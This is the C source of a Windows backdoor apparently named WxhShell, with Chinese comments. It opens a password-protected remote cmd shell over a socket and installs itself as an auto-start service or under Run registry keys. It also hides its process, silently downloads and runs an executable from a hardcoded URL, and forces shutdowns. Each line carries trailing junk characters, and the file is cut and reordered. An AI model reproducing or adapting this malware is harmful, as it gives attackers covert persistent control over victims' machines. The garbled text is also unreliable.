    } rgY?X$1q_  
    break; \#*;H|U.x  
    } q,h.W JI  
  // 关机 [q|Q]O0  
  case 'd': { [AOluS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0$dNrq  
    if(Boot(SHUTDOWN)) [g 68O*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VH1c)FI  
    else {  C(Gb  
    closesocket(wsh); )( jNd&H  
    ExitThread(0); n7YWc5:CaL  
    } u2Z^iY  
    break; q9Opa2  
    } )ZT0zIG  
  // 获取shell uN^qfJ'@ >  
  case 's': { M/`z;a=EP  
    CmdShell(wsh); G Z[5m[  
    closesocket(wsh); v7I*W/  
    ExitThread(0); YY>Uf1}*9  
    break; \}Kp=8@nE  
  } 5oyMR_yl  
  // 退出 @V CQ4X7T  
  case 'x': { tg`!svL!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X{5DPhB,  
    CloseIt(wsh); jWm BUHCb  
    break; o8pe07n(W  
    } ?mUu(D:7D  
  // 离开 f9bz:_;W_  
  case 'q': { v-aq".XQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DG FvRB  
    closesocket(wsh); H<Taf%JT  
    WSACleanup(); Ln -?/[E  
    exit(1); -L<Pm(v&  
    break; Hjkgy%N  
        } 0cU^ue%  
  } 8"rX;5 vP  
  } 6?x{-Zj ^?  
K1WoIv<Ym  
  // 提示信息 K:Go%3~,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6)YNjh.{ *  
} /Day5\Q#  
  } "x^bl+_"  
#9"_|d=l  
  return; Ox'.sq4  
} ',%&DA2  
/ kGX 6hh  
// shell模块句柄 ><7`$2Or  
int CmdShell(SOCKET sock) 8H b|'Q|^  
{ za/#R_%p  
STARTUPINFO si; H)+kN'J  
ZeroMemory(&si,sizeof(si)); j06oAer 9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z Pc;[uHT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EKD>c$T^  
PROCESS_INFORMATION ProcessInfo; `roSOX1f  
char cmdline[]="cmd"; Zi)8KO[/0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k| o,gcU  
  return 0; ~` hcgCi%  
} __c_JU  
YTh4&wm  
// 自身启动模式 #4u; `j"4=  
int StartFromService(void) 1w^[Eno$$  
{ d(Ou\7  
typedef struct OK}"|:hrd  
{ TI  
  DWORD ExitStatus; U:e9Vq'N m  
  DWORD PebBaseAddress; |i8dI)b  
  DWORD AffinityMask; C%>7mz-v5  
  DWORD BasePriority; B E)l77=/  
  ULONG UniqueProcessId; W'$~mK\  
  ULONG InheritedFromUniqueProcessId; mio'm  
}   PROCESS_BASIC_INFORMATION; N-]n>E  
e8 .bH#  
PROCNTQSIP NtQueryInformationProcess; AK =k@hT  
t79MBgZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +s}28U!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w>s  
p]oo^  
  HANDLE             hProcess; H!u:P?j@\  
  PROCESS_BASIC_INFORMATION pbi; dr o42#$Mo  
0oMMJ6"i   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '=@x2`U/  
  if(NULL == hInst ) return 0; /<Et   
H5{J2M,f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \m!."~%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); enj2xye%Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); < lrw7T  
`39U I7  
  if (!NtQueryInformationProcess) return 0; vrGNiGIi[  
?6bE!36  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5;l_-0=  
  if(!hProcess) return 0; Zn/ /u<D  
u4'Lm+&O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >Z%^|S9  
&.,OvVAo  
  CloseHandle(hProcess); L"a#Uu8  
"e"`Or  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A UK7a  
if(hProcess==NULL) return 0; OjI*HC  
)94R\f  
HMODULE hMod; )".gjW8{#L  
char procName[255]; 2,\u Y}4  
unsigned long cbNeeded; itU01  
(ni$wjq=z^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b/EvcN8 }  
K*<n<;W  
  CloseHandle(hProcess); hmo?gD<  
`6A"e Da  
if(strstr(procName,"services")) return 1; // 以服务启动 mR^D55k  
[F%\1xh  
  return 0; // 注册表启动 SZPu"O\  
} /iK )tl|X  
Tla*V#:Ve  
// 主模块 +uA<g`4  
int StartWxhshell(LPSTR lpCmdLine)  ,Y!)V  
{ q )[g VL  
  SOCKET wsl; 2I7P}=  
BOOL val=TRUE; ICi- iX  
  int port=0; + |,CIl+  
  struct sockaddr_in door; z 4-wvn<*  
]k8XLgJ  
  if(wscfg.ws_autoins) Install(); mKg~8q 3  
4u&doSXR  
port=atoi(lpCmdLine); R3~&|>7/T  
?aCR>AY5X  
if(port<=0) port=wscfg.ws_port; "@n$(-.  
X[w9~t$\  
  WSADATA data; ,rd+ dN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L*Y}pO  
0KZ 3h|4lP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'Zzm'pC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R Q 8okA  
  door.sin_family = AF_INET; uO6_lOT9n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YS]RG/'  
  door.sin_port = htons(port); c"~TH.,d  
^Ni)gm{?k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >3bpa<M_  
closesocket(wsl); ZoUfQ!2*  
return 1; 0nS6<:  
} Q6BW ax|  
WO{N@f^  
  if(listen(wsl,2) == INVALID_SOCKET) { [bp"U*!9P  
closesocket(wsl); =4I361oMf  
return 1; =$'Zmb [D  
} TwH(47|?Nt  
  Wxhshell(wsl); _Sg29qFK  
  WSACleanup(); gO5;hd[ l  
i ]_fhC  
return 0; MMf6QxYf  
7+ysE  
} w+}dm^X  
HwcGbbX)  
// 以NT服务方式启动 h{m]n!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U*b SM8)L*  
{ 'W#<8eJo  
DWORD   status = 0; ^;2L`U@5  
  DWORD   specificError = 0xfffffff; HGKm?'['   
j)uIe)wZw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jfWIPN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yG_#>3sD+%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;A C] *  
  serviceStatus.dwWin32ExitCode     = 0; &a0%7ea`.S  
  serviceStatus.dwServiceSpecificExitCode = 0; Y7p#K<y]9  
  serviceStatus.dwCheckPoint       = 0; M$GD8|*e  
  serviceStatus.dwWaitHint       = 0; A +p}oY '  
FYj3! H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZLV~It&)  
  if (hServiceStatusHandle==0) return; jPd<h{js  
9qPP{K,Pq2  
status = GetLastError(); ZTun{Dw{  
  if (status!=NO_ERROR) /x-t -}  
{ ufo?ZFq@$L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qdm!]w.G5  
    serviceStatus.dwCheckPoint       = 0; .UDZW*  
    serviceStatus.dwWaitHint       = 0; s.~SV"  
    serviceStatus.dwWin32ExitCode     = status; 9GEcs(A*  
    serviceStatus.dwServiceSpecificExitCode = specificError; r B)WHx<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5x: XXj"  
    return; {> }U>V  
  } v ipmzg(S  
Ns $PS\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H^s SHj  
  serviceStatus.dwCheckPoint       = 0; aT0 y  
  serviceStatus.dwWaitHint       = 0; VMHY.Rf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hy6Np62  
} J0oR]eT}  
:K~7BJ(HO  
// 处理NT服务事件,比如:启动、停止 r~;N(CG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NanU%# &  
{ %Xi%LUk{  
switch(fdwControl) "gO5dZ\0  
{ UvI!e4_  
case SERVICE_CONTROL_STOP: ^>" ?!lv  
  serviceStatus.dwWin32ExitCode = 0; '*k\IM{h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0 QpWt  
  serviceStatus.dwCheckPoint   = 0; 9f @)EKBK  
  serviceStatus.dwWaitHint     = 0; e,BJD>N ?  
  {  l gC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P TP2QAt  
  } mvw:E_  
  return; /<C=9?Ok  
case SERVICE_CONTROL_PAUSE: &td#m"wI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n&fV3[m`2  
  break; h(L5MZs  
case SERVICE_CONTROL_CONTINUE: kel {9b=i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /[s$A?  
  break; `#ztp)&  
case SERVICE_CONTROL_INTERROGATE: " duJl-  
  break; Ojs\2('u  
}; e=_hfOUC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ".\(A f2  
} HL?pnT09  
F)@<ZE  
// 标准应用程序主函数 e#('`vGB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ua]zTMI  
{ *E]\l+]J  
- \QtE}|4  
// 获取操作系统版本 iH>djGhTh  
OsIsNt=GetOsVer(); FuKNH~MevQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <fJ\AP5  
dUZ&Ty^{  
  // 从命令行安装 ~iWSc8-  
  if(strpbrk(lpCmdLine,"iI")) Install(); f"Iyo:Wt  
sn( }5;  
  // 下载执行文件 *v+ fkg  
if(wscfg.ws_downexe) { b~gF,^w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p!ErH]lH  
  WinExec(wscfg.ws_filenam,SW_HIDE); DFonK{  
} m 5Kx}H~  
wLbngO=VG  
if(!OsIsNt) { Ei-OuDM;)  
// 如果时win9x,隐藏进程并且设置为注册表启动 .yPx'_e  
HideProc(); e?>suIB  
StartWxhshell(lpCmdLine); >y[S?M  
} sYpogFfV  
else Vd4osBu{fY  
  if(StartFromService()) qE}YVKV*  
  // 以服务方式启动 %a `dO EO  
  StartServiceCtrlDispatcher(DispatchTable); `t6L'%\  
else =&b[V"  
  // 普通方式启动 R 28*  
  StartWxhshell(lpCmdLine); FS:WbFmc  
k 9rnT)YU  
return 0;  Dfia=1A  
} 7 w,FA  
[2V/v  
Qs:r@"hE  
Y=Qf!Cq]  
=========================================== OWsYE?  
<h9\A&  
|T*qAJ8c  
n bk(F D6  
AHJ;>"]  
Q%^bA,$&D  
" ~py0Vx,F  
Ah {pidUx  
#include <stdio.h> <>_Wd AOuD  
#include <string.h> ^ {f ^WL=  
#include <windows.h> J_ |x^  
#include <winsock2.h> ()?co<@(l  
#include <winsvc.h> y>|XpImZ  
#include <urlmon.h> ^~ $&  
yXg1N N  
#pragma comment (lib, "Ws2_32.lib") .N&}<T[  
#pragma comment (lib, "urlmon.lib") 3ohcHQ/a  
~79Qg{+]N  
#define MAX_USER   100 // 最大客户端连接数 y$o=\:  
#define BUF_SOCK   200 // sock buffer y51D-vj  
#define KEY_BUFF   255 // 输入 buffer 389.&`Q%Ut  
u 7Y< ~  
#define REBOOT     0   // 重启 @H0%N53nE  
#define SHUTDOWN   1   // 关机 z/k~+-6O  
jMui+G(h  
#define DEF_PORT   5000 // 监听端口 N09+idg  
Ks2%F&\cE  
#define REG_LEN     16   // 注册表键长度 kDY]>v  
#define SVC_LEN     80   // NT服务名长度 zB" `i  
GY]6#>D#7  
// 从dll定义API yVQz<tX|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %yM' Z[-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nvo1+W(%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fhIj+/{_O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %%cSvPcz  
MI'l4<>u  
// wxhshell配置信息 8t: &#h  
struct WSCFG { 1idjX"'  
  int ws_port;         // 监听端口 124L3AG  
  char ws_passstr[REG_LEN]; // 口令 S{i@=:  
  int ws_autoins;       // 安装标记, 1=yes 0=no RG r'<o)  
  char ws_regname[REG_LEN]; // 注册表键名 Jo aDX ,  
  char ws_svcname[REG_LEN]; // 服务名 w+q;dc8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C=aj&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <&s)k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 roj04|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DT"Zq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GHC?Tp   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uj9tr`Zh  
dFP-(dX#  
}; G q:4rG|  
?~JxO/K  
// default Wxhshell configuration tZu*Asx7  
struct WSCFG wscfg={DEF_PORT, d?&!y]RS#  
    "xuhuanlingzhe", >+jbMAYSq  
    1, Hl2f`GZ   
    "Wxhshell", w^rb|mKo  
    "Wxhshell", g[wP!y%V  
            "WxhShell Service", {I9 N6BQ&  
    "Wrsky Windows CmdShell Service", u->@|tEq  
    "Please Input Your Password: ", Fwx~ ~"I  
  1, Dj ]Hgg  
  "http://www.wrsky.com/wxhshell.exe", 3Da,] w<  
  "Wxhshell.exe" E/8u'  
    }; }]g95xT  
<qq'h  
// 消息定义模块 `mKlv~$1^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 ]DCF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p17|ld`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >1a \ %G  
char *msg_ws_ext="\n\rExit."; A eGG  
char *msg_ws_end="\n\rQuit."; _/jUs_W  
char *msg_ws_boot="\n\rReboot..."; 3KZ y H  
char *msg_ws_poff="\n\rShutdown..."; /nY).lSH  
char *msg_ws_down="\n\rSave to "; o,CA;_  
R?bn,T>  
char *msg_ws_err="\n\rErr!"; ;h,R?mU  
char *msg_ws_ok="\n\rOK!"; X"TUe>cM  
'"xL}8HX}  
char ExeFile[MAX_PATH]; e+F}9HR7  
int nUser = 0; 2;%#C!TG;  
HANDLE handles[MAX_USER]; 49xp2{  
int OsIsNt; 4V228>9w  
$^vp'^uW>  
SERVICE_STATUS       serviceStatus; -}_cO|kk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;# R3k  
)BF \!sTn  
// 函数声明 Mt[Bq6}ZD  
int Install(void); BN\fv,  
int Uninstall(void); H5AK n*'7  
int DownloadFile(char *sURL, SOCKET wsh); TV1e bH7q  
int Boot(int flag); ){O1&|z-  
void HideProc(void); (XbMrPKG  
int GetOsVer(void); & %N(kyp  
int Wxhshell(SOCKET wsl); pAJ=f}",]E  
void TalkWithClient(void *cs); 00`bL  
int CmdShell(SOCKET sock); VO. -.  
int StartFromService(void); Y]+e  Df  
int StartWxhshell(LPSTR lpCmdLine); 69[V <1  
E/wQ+rv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T>\nWancQM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9,S,NvSq  
@@xO+$6  
// 数据结构和表定义 zQL!(2  
SERVICE_TABLE_ENTRY DispatchTable[] = 0M#N=%31  
{ QO5OnYh  
{wscfg.ws_svcname, NTServiceMain}, "C:rTIH  
{NULL, NULL} Y)'!'J  
}; n\Z^K  
U/.w;DI   
// 自我安装 <KHv|)ak  
int Install(void) _, \y2&KT  
{ * T JBPM,  
  char svExeFile[MAX_PATH]; ltNuLZ  
  HKEY key; =:4 '  
  strcpy(svExeFile,ExeFile); 'is,^q:@  
..??O^   
// 如果是win9x系统,修改注册表设为自启动 b%3Q$wIJ6  
if(!OsIsNt) { >lA7*nn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jmRhAJV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !aQIh  
  RegCloseKey(key); AU0$A403  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZvUp#8x(3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qzz[y#q(  
  RegCloseKey(key); D4AEZgC F,  
  return 0; ~@%(RMJm&  
    } TRSOO}  
  } ?O!]8k`1$  
} :L]-'\y  
else { Xf6fH O  
NV:>a  
// 如果是NT以上系统,安装为系统服务 ''_,S,.a20  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $=\d1%_R|  
if (schSCManager!=0) 3b<: :t  
{ ~@xT]D!BQ  
  SC_HANDLE schService = CreateService e%pu.q\gK  
  ( -_s%8l^  
  schSCManager, +z+ F-  
  wscfg.ws_svcname, \.5F](:  
  wscfg.ws_svcdisp, YQN.Ohtv*F  
  SERVICE_ALL_ACCESS, y^9bfMA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M#`{>R|  
  SERVICE_AUTO_START, V:(y*tFA  
  SERVICE_ERROR_NORMAL, kl| g  
  svExeFile, 5$anqGw  
  NULL, ,cLH*@  
  NULL, TS1pR"6l  
  NULL, x,w8r+~5  
  NULL, wc"9A~  
  NULL VXiui'/(  
  ); \e_IFISC  
  if (schService!=0) S[Vtq^lU  
  { dQ,Q+ON>  
  CloseServiceHandle(schService); N5yJ'i~,M  
  CloseServiceHandle(schSCManager); 87pnSj/X"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lBS"3s384  
  strcat(svExeFile,wscfg.ws_svcname); 2bkJ /u`i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -=5EbNPwG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lHcA j{6  
  RegCloseKey(key); Cb4_ ?OR0  
  return 0; Cc2MYm8  
    } oI*d/*  
  } }4Zkf<#7$  
  CloseServiceHandle(schSCManager); I,]J=xi  
} grc:Y  
} hzv3F9.x  
Cpe#[mE  
return 1; W8y$ Ve8m  
} oooS s&t  
P:qz2Hw  
// 自我卸载 g@Ld"5$^2  
int Uninstall(void) -A}zJBcR  
{ qIz}$%!A  
  HKEY key; S#mK Pi+3  
L1:nfH&:'  
if(!OsIsNt) { {tc57jsr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vTHq)C.7G  
  RegDeleteValue(key,wscfg.ws_regname); <1K7@Tu  
  RegCloseKey(key); St+ "ih%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TU%bOAKF\  
  RegDeleteValue(key,wscfg.ws_regname); 7k'gt/#up  
  RegCloseKey(key); Q,~x#  
  return 0; ctHEEFWm  
  } O>%$q8x@i  
} }3J=DCtS  
} J+|/-{g  
else { +j.qZ8  
IT18v[-G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {yS;NU`2  
if (schSCManager!=0) 7E\g &R.  
{ l!:^6i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W~yLl%  
  if (schService!=0) ?!y"OrHg  
  { WL1\y|  
  if(DeleteService(schService)!=0) { P$OUi!"  
  CloseServiceHandle(schService); :3O5ET'1  
  CloseServiceHandle(schSCManager); #ua^{OrC/  
  return 0; K"w%n[u)  
  } ]Jn2Ra"j  
  CloseServiceHandle(schService); |z*>ixK  
  } 6@YH#{~Zpv  
  CloseServiceHandle(schSCManager); $UC{"0  
} ke]Yfwk  
} (;ADW+.`J  
8k H<$9  
return 1; =) }nLS3t  
} ?oKL &I@  
0>FE%  
// 从指定url下载文件 PJK9704 6  
int DownloadFile(char *sURL, SOCKET wsh) 9go))&`PJL  
{ `ET& VV  
  HRESULT hr; PIxjM>  
char seps[]= "/"; p9iu:MucD<  
char *token; P)hi||[  
char *file; esI'"hVJ  
char myURL[MAX_PATH]; I_>`hTiR  
char myFILE[MAX_PATH]; R6P\T\~E  
8UM0vNk  
strcpy(myURL,sURL); F0.zi>5  
  token=strtok(myURL,seps); H+x#gK2l  
  while(token!=NULL) YPEnNt+  
  { ^Xs]C|=W  
    file=token; iRve)   
  token=strtok(NULL,seps); a g;dc  
  } pkk4h2Ah  
C:j]43`  
GetCurrentDirectory(MAX_PATH,myFILE); ArXl=s';s4  
strcat(myFILE, "\\"); m\-PU z&C  
strcat(myFILE, file); HeozJ^u\?  
  send(wsh,myFILE,strlen(myFILE),0); Z@M6!;y#  
send(wsh,"...",3,0); wOg,SMiq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2 Y+:,ud\  
  if(hr==S_OK) eaAPKx  
return 0; [r9d<Zi}{  
else T*+A.G@L"  
return 1; .8H}Lf\  
j^ EbO3  
} !y*oF{RZ  
39D }  
// 系统电源模块 8x{Hg9  
int Boot(int flag) Uw <{i  
{ 9@y3IiZ"}  
  HANDLE hToken; Dbz]{_Y;  
  TOKEN_PRIVILEGES tkp; sfI N)jh  
4f {+pf^R  
  if(OsIsNt) { (("OYj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i@,]Z~]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q-IWRb0j%a  
    tkp.PrivilegeCount = 1; @O/,a7Tt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .@k*p>K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8&.-]{Z  
if(flag==REBOOT) { /80YZ   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PAoX$q  
  return 0; KY+]RxX  
} ipZHSA  
else { O?E6xc<8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }4h0bI  
  return 0; }\Z5{OA  
} |M E{gy`5  
  } bU+9Gi@v  
  else { #T"64%dX  
if(flag==REBOOT) { :hP58 }Q$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xR}of"  
  return 0; q[c Etp28h  
} zs8I  
else { %6i=lyH-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %U?)?iZdL  
  return 0; sTOFw;v%  
} #LWg"i  
} Jck"Ks  
b:Dg}  
return 1; Q52 bh'cuU  
} m6MaX}&zv  
u[EK#%  
// win9x进程隐藏模块 ^Y 7U1I  
void HideProc(void) }Vl^EAR  
{ (8x gn  
s<VJ`Ur  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j_c+.iET  
  if ( hKernel != NULL ) }]GbUC!Zb  
  { $5L(gn[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UkfA}b^@v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WZK :.y  
    FreeLibrary(hKernel); `]{Psc6_=  
  } O 6]u!NqG  
!NA`g7'  
return; vJThU$s-  
} PWG;&ma  
\(bj(any  
// 获取操作系统版本 {aIZFe}B  
int GetOsVer(void) Tk](eQsy.v  
{ A]xCF{*)&  
  OSVERSIONINFO winfo; zq=&4afOE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;qb Dbg  
  GetVersionEx(&winfo); e^WqJ7j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8_ X.c  
  return 1; DaCblX  
  else l7~Pa0qD  
  return 0; r\RFDj  
} $eMK{:$O  
==`Pb  
// 客户端句柄模块 N'a?wBBR  
int Wxhshell(SOCKET wsl) Gym#b{#":  
{ 6VFirLd  
  SOCKET wsh; <M305BH  
  struct sockaddr_in client; mF~ys{"t  
  DWORD myID; P eHW[\)  
V8T#NJ  
  while(nUser<MAX_USER) O$U}d-Xnx  
{ 1 yJ75/  
  int nSize=sizeof(client); RUqO!s~#rY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ph+M3q(z  
  if(wsh==INVALID_SOCKET) return 1; r;'i<t{P  
4uPH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ka8$dfC  
if(handles[nUser]==0) Qxky^:B  
  closesocket(wsh); 1y~L8!: L  
else cB<O.@  
  nUser++; 3?  };  
  } T:6K?$y?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .Nk}Z9L]k  
yYM_lobn  
  return 0; r:73uRk  
} W oWBs)E  
dD o6fP2  
// 关闭 socket 6N&| 2:U  
void CloseIt(SOCKET wsh) ;*nh=w  
{ 9QC< E|  
closesocket(wsh); *.:!Ax  
nUser--; u |'8a1  
ExitThread(0); *!i,?vn  
} qg|Ox*_od"  
 k~{Fnkt  
// 客户端请求句柄 gt~9"I  
void TalkWithClient(void *cs) 0u>yT?jP  
{ X=JFWzC  
0e)lY='^_  
  SOCKET wsh=(SOCKET)cs; /q T E  
  char pwd[SVC_LEN]; *B %y`cj|  
  char cmd[KEY_BUFF]; 6={IMkmA  
char chr[1]; bB y'v/  
int i,j; !;TR2Zcn  
]F !'M  
  while (nUser < MAX_USER) { .#"1bRWpZ  
s%5Uj }  
if(wscfg.ws_passstr) { 33*^($bE&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5QKRI)XpZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0,:iE\  
  //ZeroMemory(pwd,KEY_BUFF); fn3*2  
      i=0; EK^JLvyT  
  while(i<SVC_LEN) { I; ^xAd3G  
m\_+)eI|  
  // 设置超时 JvKO $^  
  fd_set FdRead; $I\))*a  
  struct timeval TimeOut; "tfn?n0  
  FD_ZERO(&FdRead); Rk}\)r\  
  FD_SET(wsh,&FdRead);  o1 jk=  
  TimeOut.tv_sec=8; n/xXQ7y  
  TimeOut.tv_usec=0; 0Wjd-rzc,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v hRu `Yb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "w>rlsT<O  
,NjX&A@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yZ?xt'tn  
  pwd=chr[0]; Ii|uGxEc  
  if(chr[0]==0xd || chr[0]==0xa) { 8FAT(f//.  
  pwd=0;  AqKHjCI  
  break; h1n*WQ-  
  } -FQC9~rR;g  
  i++; W/b"a?wE{  
    } YI L'YNH  
3X,]=f@_  
  // 如果是非法用户,关闭 socket uCY(:;[<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  -0{T  
} 98X!uh'  
VI(RT-S6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,Y`'myL8W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M' &J _g  
h=uiC&B  
while(1) { K#_~ !C4L  
*>E I2HX  
  ZeroMemory(cmd,KEY_BUFF); l\q*%'Pe  
"9c.CI  
      // 自动支持客户端 telnet标准   !Sh^LYqn  
  j=0; b7?U8/#'  
  while(j<KEY_BUFF) { mgmWDtxN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t#fs:A7P?}  
  cmd[j]=chr[0]; }wvwZ`5t  
  if(chr[0]==0xa || chr[0]==0xd) { ~5lKL5w  
  cmd[j]=0; 5}vRo;-  
  break; %1Vu=zCAW  
  } *ah>-}-  
  j++; >t 1_5  
    } #Tr;JAzVjG  
^+(A&PyP?  
  // 下载文件 `,F&y{ A  
  if(strstr(cmd,"http://")) { utYnaeQcn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;cM8EU^.  
  if(DownloadFile(cmd,wsh)) _myg._[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sN} s61  
  else hgTM5*fD}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @rnp- +kq  
